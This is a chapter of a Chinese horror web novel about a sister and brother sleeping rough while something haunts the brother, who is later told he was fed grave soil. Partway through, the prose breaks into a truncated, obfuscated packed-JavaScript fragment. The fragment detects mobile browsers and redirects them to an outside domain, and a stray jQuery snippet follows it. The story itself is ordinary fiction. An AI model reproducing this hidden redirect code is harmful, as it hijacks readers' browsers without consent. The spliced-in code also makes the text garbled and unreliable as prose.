18. 听话

作品:《我,诡故事中的无根女儿

    “姐!姐!姐!快醒醒!快醒醒!”


    好像又有什么人正在推搡着我,“姐!姐!”


    终于一个猛抬头,我醒了,


    原来是弟弟。


    不知为何,他几乎没有发出什么声音,一直在用气声呼唤着我,似乎很是花了一番功夫才把我叫醒。


    刚才又是一场梦?


    顺便打量着身边的弟弟。


    只见他表情僵硬,连握住我肩膀的手指都无比的冰冷,呼吸急促就好像又遇到了什么诡异事件。


    “姐,你终于醒了,”弟弟接着用气声。


    “怎么了?”我也学着他的样子回答。


    “姐,你没听到什么声音吗?”


    什么声音?


    刚醒的我只觉得满头疑惑。


    街道上一片漆黑,没有任何路人经过,除了远处昏黄并不清晰的路灯外什么都没有,


    又哪里来的声音?


    可是弟弟却说,大约十分钟前,他就隐隐约约听到有人在敲碗。


    就是那种调皮的小孩,在拿着手中的筷子肆意的敲瓷碗的声音,瓷碗声音清脆。


    我们小时候也喜欢。


    但,那也仅限于小时候,现在,夜深人静,就我们两个人露宿街头。


    然后你告诉我半夜有人在街边敲瓷碗?怎么想都无比诡异!


    我没有直接回答。


    而是竖起耳朵十分仔细的听了一番。


    可是街上真的完全静悄悄的,除了偶尔卷起落叶的风声。


    真的,真的,什么都没有……


    是弟弟幻听了?还是和前几次一样,这东西就是冲着他来的?


    我心中满是疑惑,但即使已经有了推断,依旧不敢有任何行动。


    我的命就只有一条,我不愿意为别人去赌。


    这样想着,我利落的回头。


    坚定的看向几乎已经要把我挤死的弟弟。


    此时他满脸都是冷汗,皮肤在紧张的氛围中格外的油腻,可以说是手脚并用的在缠着我。


    眉头微张显得有些迷茫,脸上的肌肉却紧绷到抖动,眼神无时无刻不在四处乱瞟。


    很难想象一个人脸上的肌肉能被分区控制到如此自如。


    “不,我什么都没有听见。”


    迎着弟弟渴求的眼神,我终于还是说出了一个令他无比绝望的回答。


    我清楚的知道经过这么多场他也早就对自己的独特遭遇有所怀疑。


    如果说之前还可以找什么我俩分散了,没在一块儿的借口。


    但现在同一空间,同一时间,甚至是紧紧依靠的躯体。


    明明离得如此之近却得到这样一个截然不同的答案。


    那种绝望完全不亚于世界末日全人类都成功逃脱,而只有他因为错过电话被独自落下。


    其实我完全可以骗他。


    什么我也听到了,什么是那边发出来的吗,什么是你听错了吧。


    我有一千种借口帮他,按照他的意象圆过去。


    可是,我就不!


    就是不乐意这样做。


    我已经受够了被他依靠的感觉!


    不管是重点中学的学费,还是他日常的衣穿住行,还是未来的娶妻生子。


    我都得切切实实的在被他依靠。


    我是被控制的,就算是现在我嘴上拒接却依旧被他所依靠着。


    但这样的依靠某些时候一旦想起,随之而来的还有我对自己深深的厌恶。


    那是永远让我无比恶心的东西!


    李承业你真的该独立了,而我不是!也不会!成为你一辈子无偿的依靠!


    于是。


    “哇!哇哇哇!哇!——”哭了,居然真的哭了!


    呵。


    我惊奇的看着,眼前的弟弟抱着头呜呜咽咽的痛哭了起来,眼泪鼻涕齐出,甚至还有可疑的涎水从他哇哇大叫的嘴巴里肆意流出,


    那样子和还未习得人类习性的婴儿因尿布没换的不适,而全力哭泣的样子一模一样。


    只是尚且孩子的哭泣都不算好看,更别说人高马大完全有自主能力的中学生了。


    成熟的躯体和退化的行为,可以称得上是极致的污秽。


    整张脸皱巴巴的拧在一起,简直就像家里最旧马上就要扔出门的破墩布!


    味道难闻,颜色恶心,样子也格外的肮脏,里面可能还暗藏着大量的毛发与未洗干净的泥沙。


    “我错了!我错了!!我错了!!!我真的知道错了!!!!”


    他死死的拽着我肩膀部分的衣料,本就质量不算好的东西,被他拽的皱皱巴巴。


    我都怀疑那里面是否凝结了他大量的手汗,恶臭而又油滑。


    “姐!姐!姐!我求求你,我求求你!我真的知道错了!!我真的知道错了!


    求求你,!求求你不要抛下我!!不要抛下我!!!哇!哇哇!哇呃……”


    声音从高亢到嘶哑,以及最后的抽抽搭搭,甚至到最后开始习惯性的干呕。


    满脸的油腻和污秽都被眼泪鼻涕肆意的冲刷,就连耳朵都在颤抖。


    额角满是头皮用力后留下的轰鸣,颧骨都早控制不住的颤抖,牙齿始终都没有闭合,下巴仿佛都要脱臼。


    “呕,呜呜……呕,不呕呜呜……呕不要,呕……呜呜呕抛下,抛下我……”


    最后的声音简直细不可闻。


    我也不再被手脚并用的缠着。


    除了大拇指与食指相连的衣角,弟弟没有任何部分再与我重叠。


    和小时候他帮我喂鸡换我陪玩的动作一模一样。


    我一把揪起对方脑门前的短发,揪的他脸上一痛。


    果然手中满是汗水。


    只是这次是温热的是清澈的,脸哭的又胀又红,嘴唇却称得上是惨白,紧紧的绷着。


    有的地方甚至裂开了,鲜红的东西顺着皮肤的纹理流至下巴。


    对方却好像丝毫没有察觉。


    “所以,”我依旧没有放过他。


    “你准备拿什么来换?”


    我直勾勾的盯着对方的眼神,直逼他心中最后的空地。


    眼睛被泪水充分的浸润,就连睫毛都犹如海藻般湿哒哒的垂着。


    这次对方只愣了一瞬间,便毫不犹豫的说道,


    “听话!我会一直听姐姐的话!”


    声音沙哑,但语气却很是坚定。


    这——才对嘛。


    小时候都懂得道理,怎么长大了就忘了呢。


    “好。”我随意的点了点头。


    “很好,现在就听话,闭上眼睛然后睡觉,不论听到什么都假装没有。”


    于是没有丝毫的犹豫,弟弟眼睛一闭倒头就是睡,就连最后的衣角都再没有坚持,蜷缩着身子装作听不见外面的风雨。


    而我则抬头仔细的打量着周围的景物。


    不放过一丝一毫的变化,就算一片落叶的挪动都被我牢牢的记在心里。


    从怀里抽出跑路大师留下的符,一张塞到弟弟口袋,剩下的我都贴身放着。


    根据前面的经验,每次那东西出手都是在我们分开的时候。


    比如车站的厕所,树林,后面的宾馆。


    虽然当时在司机车上的电台也有一次,但那次伤害却是最小的。


    是吓唬,并没有实体出现,也没有控制生人。


    弟弟的感觉是最敏锐的,但其实也是最容易混乱的。


    他因为敏锐而更容易被影响做出错误的判断和行为。


    比如司机车上被吓唬住,再比如在我进火车厕所后感觉不对劲就选择跟随,


    以及因为没有异常,就没有仔细观察宾馆和周围的环境最后被控制住。


    因此我选择直接让他睡觉,以此来切断他和外界的联系。


    由于现在我们身边没有其他生人能够控制,


    因此对方最有可能得攻击就是,弟弟能感觉到而我感觉不到的——吓唬。


    但当然这也只是我的推断,那东西究竟会做什么谁也不知道,我能压上的就是我们的两条命。


    夜深人静,真是难熬啊,我默默的想着。


    紧紧的攥着拳头,熬鹰似的盯着眼前的一切……


    直至——


    远处的天空翻起鱼肚白,清明的鸟叫也格外的清脆,路上也逐渐有了行人。


    虽都会在走过的时候诧异的盯我们一眼,但也正常,任谁看见两个着装不干净,露宿街头的男女,都会奇怪的瞧一瞧。


    所有的商店都开了门,马路上不多的车辆与自行车开始流窜。


    叫卖声,喇叭声,嘻嘻打闹声,好不热闹,整个城市完全苏醒。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484341|185666||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >而我,也赌赢了。


    叫醒弟弟,去人最少的早餐铺买了些吃的,我们准备继续上路。


    这次弟弟主动付了所有的钱,自觉的接过我身上的所有背包与挎包。


    一步三回头的走在前面,不停地回头确认我有没有跟上。


    路上虽然辛苦,但好在麻烦的事情再没有发生,我们严格遵守建明叔的嘱咐,顺利来到东边的山脚下。


    这里说是在城市边缘,但其实周围的建筑也并不算少。


    山脚下就是打满补丁的国道,不时有着装满货物的卡车奔腾而过。


    周围虽没有什么人家,但有很多搞汽修的铺子,机油味混合着漫天的灰尘,以及并不平整的路面,形成了独特的山脚街景,


    拿出手机,调出建明叔的电话,我赶快打了过去。


    这次建明叔秒接。


    问清楚我们的具体位置,建明叔留了句等着,接着就挂断了电话。


    话说建明叔也没见过长大的我,弟弟就更别说了。


    他能认出我们吗?


    我有些忧心。


    弟弟虽然并不说话,但我能看得出他也很是害怕。


    时不时地在四处打量仿佛要把周围的地面盯出个窟窿似得,不用想就知道又在恐惧昨天的事。


    “害怕就闭眼”,我现在没有什么耐心。


    他简直就像是焦虑的散播源,惹得我思绪都开始混乱。


    不知过了多久,一个大叔模样的男人出现在我们面前。


    头发半长不短,眉眼和爷爷一样耷拉着,一看就没有什么精神。


    上身穿着一件画着卡通图案的短袖,下身则是十分普通的运动装,脚上蹬着一双高帮的靴子?看着就让我感觉有点潮。


    “二妮。”对方没有多说什么,只是看着我直直的来了句,“好久不见啊,二妮。”


    不知为何,那一刻我无比的确定他就是建明叔。


    其实我本来是做好充足的准备的。


    见面后一定要仔细的拷问一番,以防再遇到上次的情况。


    但在见到对方的脸的瞬间,一种说不出的感觉就在我的头脑中蔓延。


    不知为何,我感觉自己好像,对眼前这位只在我小时候见过几面的建明叔很是熟悉,而对方对我也颇为了解。


    “建,建明叔”,最后我只能尴尬的这么称呼,一种好像很熟悉但实际又颇为陌生的词穷感突然涌现。


    弟弟见状也立马跟着叫了几句。


    建明叔没有理会弟弟,只朝着我问了句,“怎么样,昨晚还顺利吗?”


    “不算顺利”我顺口回答道。


    在话脱口而出后,我却惊奇的发现,先不说我这熟稔的态度和语气。


    难道昨晚我们所遇见的情况都被他预料到了?


    接着我便把昨晚发生的事情全部合盘脱出,只有弟弟听得到的敲碗声,以及我让弟弟睡觉的处理方式。


    甚至包括跑路大师的那几张符纸,我都详细的说了出来,


    真是奇怪明明我不打算说符纸的事的……


    建明叔在听了后,稍微思索了一会。


    “二妮,你判断的没错,处理的也很好,”


    说完建明叔又看向弟弟的肚子,我也跟着看了过去。


    说起来可能是因为这两天的劳累,弟弟的肚子都仿佛小了不少。


    但我清楚的知道,这只是错觉而已,里面的东西是一定在不断变大的。


    “这东西是和二妮分开期间造成的吧,”建明叔肯定的说道。


    弟弟有些忐忑,语气扭捏的把自己被上身控制一个月的事说了出来。


    “问题不在那家旅馆,”思索后建明叔下了决断性的结论,


    “问题出现在对面那家餐馆里,那才是根源”


    “餐馆!”我和弟弟异口同声的叫道,果然是这样!


    “你的判断没错!”建明叔仿佛看穿了我的所思所想,只对我回应道,


    “以现在你的能力,那餐馆里的东西不能贸然对上,最好的办法就是直接远离,远离就是上上策。”


    说完建明叔又打量了番弟弟,这还是见面以来他第一次正眼看弟弟。


    “你在那餐馆里被喂的不是正常的吃食,”建明叔对弟弟说道,


    “你以为你在吃东西,但其实你被喂下的都是坟土!”